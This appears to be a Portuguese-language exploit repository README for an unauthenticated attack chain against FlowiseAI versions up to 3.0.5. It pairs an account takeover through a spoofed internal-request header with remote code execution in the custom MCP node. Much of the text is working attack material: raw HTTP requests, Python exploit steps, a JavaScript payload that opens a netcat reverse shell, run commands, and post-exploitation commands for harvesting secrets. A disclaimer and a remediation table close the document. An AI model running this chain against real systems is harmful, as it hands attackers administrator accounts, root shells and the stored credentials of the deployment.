
Cadeia de ataque crítica não autenticada levando a RCE completo no FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Tomada de Conta Não Autenticada encadeada com Execução Remota de Código contra FlowiseAI
<= 3.0.5.
Comprometimento total do contêiner em menos de 5 segundos, zero credenciais necessárias.
Esquerda: página de login do FlowiseAI — Direita: shell root via CVE-2025-59528 · uid=0(root)
Este exploit encadeia duas vulnerabilidades críticas independentes em um único ataque totalmente automatizado. Nenhuma vulnerabilidade isolada garante o comprometimento completo — mas juntas, elas formam uma cadeia de ataque completa desde zero credenciais até um shell root dentro de um contêiner Docker.
[Sem credenciais]
│
▼
① Abusar do endpoint forgot-password (sem autenticação necessária)
│ → O servidor responde com o token de redefinição da vítima em texto simples
▼
② Enviar o token para o endpoint reset-password
│ → O atacante controla a senha do administrador
▼
③ Fazer login + obter a chave API Bearer
│ → Sessão autenticada completa estabelecida
▼
④ Enviar payload JavaScript via nó customMCP
│ → O servidor o avalia usando o construtor Function()
▼
[Shell root dentro do contêiner Docker]
O que torna a interação zero: em nenhum momento a vítima recebe um e-mail, vê um alerta de login ou desencadeia qualquer evento visível. O ataque é inteiramente do lado do servidor.
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado: FlowiseAI <= 3.0.5 (nuvem + auto-hospedado)
Aviso: GHSA-wgpv-6j63-x5ph
O FlowiseAI tem um conceito de requisições "internas" — chamadas de API entre seus próprios serviços — identificadas pelo cabeçalho HTTP x-request-from: internal. O endpoint /api/v1/account/forgot-password usa este cabeçalho para pular a autenticação completamente e retornar uma resposta diferente e mais detalhada do que para chamadores externos.
O problema: este cabeçalho não é validado ou restrito de forma alguma. Qualquer atacante na internet pode enviá-lo. Quando isso acontece, em vez de disparar um e-mail de redefinição de senha, a API responde com o registro completo do usuário — incluindo um tempToken ativo que pode ser imediatamente usado para definir uma nova senha.
Normalmente, um fluxo de redefinição de senha se parece com:
Usuário solicita redefinição → Servidor gera token → Token enviado por E-MAIL → Usuário clica no link → Senha alterada
Aqui, o servidor pula a etapa do e-mail completamente e coloca o token diretamente no corpo da resposta HTTP. O atacante o captura e passa diretamente para a etapa de redefinição — sem necessidade de acesso ao e-mail.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — registro completo do usuário exposto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
O tempToken é então enviado diretamente ao endpoint de redefinição — sem interação por e-mail, sem CAPTCHA, sem limite de taxa.

CVSS 3.1: 10.0 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afetado: FlowiseAI <= 3.0.5
Aviso: GHSA-3gcm-f6qx-ff7p
O FlowiseAI permite que usuários definam nós MCP (Model Context Protocol) personalizados com configuração do servidor fornecida como uma string JSON. Internamente, a plataforma precisa analisar essa configuração — e o faz usando o construtor Function() do JavaScript, que é funcionalmente equivalente a eval().
A string de configuração chega ao ponto de execução completamente sem sanitização:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — linha 262
const result = Function('return ' + mcpServerConfig)();
// ↑ entrada do usuário sem sanitização — execução arbitrária de JS
Function() é tão perigoso quanto eval()Function('return ' + code)() faz o seguinte:
code como seu corpoIsso dá ao atacante um contexto completo de execução JavaScript com acesso a process, require, child_process e todo o runtime Node.js — não uma sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← string controlada pelo atacante
└─ substituteVariablesInString() ← sem filtragem, passa direto
└─ convertToValidJSONString() ← sem filtragem, passa direto
└─ Function('return ' + input)() ← código arbitrário executa aqui
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Por que
mkfifoe não/dev/tcp?
O contêiner executa/bin/sh, não/bin/bash./dev/tcpé um recurso exclusivo do bash — ele não existe em shells POSIX padrão.mkfifocria um pipe nomeado que funciona em qualquer shell compatível com POSIX, tornando o shell reverso portátil entre ambientes de contêiner.
O exploit é estruturado em quatro etapas sequenciais, cada uma mapeando diretamente para uma fase da cadeia de ataque.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
O que acontece: O servidor acredita que esta é uma chamada interna de serviço para serviço por causa do cabeçalho x-request-from: internal. Ele pula o caminho normal de envio de e-mail e retorna o registro completo do usuário — incluindo um token de redefinição de senha ativo — diretamente no corpo da resposta HTTP 201.
Por que funciona: A verificação do cabeçalho é puramente baseada em string, sem verificação criptográfica. Qualquer chamador pode configurá-lo. O backend não valida a origem da requisição.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
O que acontece: O tempToken roubado é enviado junto com uma nova senha escolhida pelo atacante. O servidor valida o token (que é real e ativo), confirma que o e-mail corresponde e atualiza o hash da credencial — sem confirmação por e-mail, sem verificação secundária.
Por que funciona: A validação do token apenas verifica se o token existe e não expirou. Não verifica se o chamador que gerou o token é o mesmo que está enviando a redefinição. A propriedade nunca é verificada.
# Login com a nova senha definida
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Buscar a chave de API Bearer necessária para o endpoint RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
O que acontece: Um login normal com a nova senha do atacante estabelece uma sessão de administrador completa (baseada em cookie). A sessão é então usada para buscar a chave de API padrão da plataforma, que é necessária para autenticar requisições ao endpoint node-load-method usado na etapa 4.
Por que funciona: Neste ponto, o atacante É o administrador — ele possui as credenciais. A sessão e a chave de API são emitidas legitimamente pelo servidor.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
O que acontece: O payload é uma função JavaScript auto-invocante (IIFE) disfarçada como um objeto compatível com JSON. Quando convertToValidJSONString() o processa, o valor cai dentro de Function('return ' + input)() — que o executa como JavaScript vivo com acesso completo ao runtime Node.js. child_process.exec() dispara o comando do shell reverso, estabelecendo uma conexão de volta ao listener do atacante.
Por que o wrapper IIFE? O padrão Function('return ' + x) espera que a expressão seja retornável. Envolver o código malicioso em ({x: (function(){ ... })()}) faz com que toda a expressão seja um JavaScript válido que avalia para um objeto — satisfazendo o analisador enquanto executa o payload como efeito colateral.
Por que nohup + disown? A requisição HTTP tem um tempo limite. Sem desanexar o processo, o shell morreria quando a requisição expirasse. nohup + disown desanexa o shell reverso do processo Node.js, mantendo-o vivo de forma independente.
# 1. Inicie seu listener primeiro
nc -lvnp 4444
# 2. Execute a cadeia de ataque completa
python3 exploit.py -ip <IP_ALVO> -lhost <SEU_IP> -lport 4444
# 3. Se a senha do administrador já foi redefinida em uma tentativa anterior
python3 exploit.py -ip <IP_ALVO> -lhost <SEU_IP> -lport 4444 --skipreset
pip install requests
Assim que o shell cair, o contêiner normalmente executa como root com acesso ao ambiente completo da aplicação FlowiseAI:
# Segredos e credenciais
env # Chaves de API, URIs de banco de dados, credenciais de serviço em variáveis de ambiente
cat .env # Arquivo de configuração do FlowiseAI — senhas de banco de dados, segredos JWT
# Internos da aplicação
ls /app/packages/ # Estrutura do monorepo — código-fonte, configurações, node_modules
cat /app/packages/server/.env
# Contexto do contêiner
cat /proc/1/cmdline # Qual processo é PID 1 — confirma ambiente de contêiner
hostname # ID do contêiner
cat /etc/hosts # Mapa de rede interna — outros serviços acessíveis
# Candidatos a movimento lateral
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Este repositório e todo o código associado são publicados estritamente para fins educacionais e de pesquisa de segurança autorizada.
Ambas as vulnerabilidades são publicamente divulgadas e corrigidas a partir do FlowiseAI 3.0.6. Testar contra sistemas que você não possui ou para os quais não tem autorização explícita por escrito é ilegal sob a lei aplicável — incluindo, mas não se limitando, ao Computer Fraud and Abuse Act (CFAA), ao Computer Misuse Act e à Diretiva NIS2 da UE.
Os autores não aceitam nenhuma responsabilidade por danos resultantes do uso indevido deste material.
0H4K3D · CVE Team
| Propriedade | Detalhes |
|---|
| Zero credenciais necessárias | O atacante começa com nada além de um IP alvo |
| Zero interação da vítima | Sem phishing, sem clique, sem engenharia social |
| Sem limite de taxa | O endpoint de redefinição não tem limitação — bruteforce possível se necessário |
| Sem CAPTCHA | O fluxo de redefinição não tem verificação humana |
| Sem confirmação por e-mail | A alteração de senha é imediata, silenciosa, irreversível |
| Runtime Node.js completo no RCE | child_process, sistema de arquivos, rede — sem sandbox |
| Executa como root no Docker | O contêiner normalmente é iniciado como root, acesso total ao FS |
| Afeta nuvem + auto-hospedado | Qualquer implantação <= 3.0.5 é vulnerável |
| Flag | Descrição | Obrigatório |
|---|
-ip | Endereço IP do alvo | ✅ |
-lhost | Seu IP para o callback do shell reverso | ✅ |
-lport | Sua porta de escuta | ✅ |
--skipreset | Pular CVE-2025-58434 (fases 1 e 2) — use se a conta já estiver comprometida | ❌ |
| Correção | Prioridade |
|---|
Atualizar para FlowiseAI ≥ 3.0.6 | 🔴 Imediata |
Bloquear x-request-from: internal no proxy reverso — ele nunca deve vir da internet | 🔴 Imediata |
Restringir /api/v1/account/* apenas a sessões autenticadas | 🔴 Imediata |
Sanitizar mcpServerConfig — nunca passar entrada do usuário para Function() ou eval() | 🔴 Imediata |
| Adicionar limite de taxa e CAPTCHA a todos os endpoints de redefinição de senha | 🔴 Imediata |
| Isolar a instância do FlowiseAI da internet se a exposição pública não for necessária | 🟠 Alta |
| Executar o contêiner como um usuário não root | 🟠 Alta |
| Habilitar detecção de anomalias nos endpoints de redefinição de senha e MCP | 🟡 Média |
Auditar todos os endpoints que aceitam x-request-from e verificar se não podem ser chamados externamente | 🟡 Média |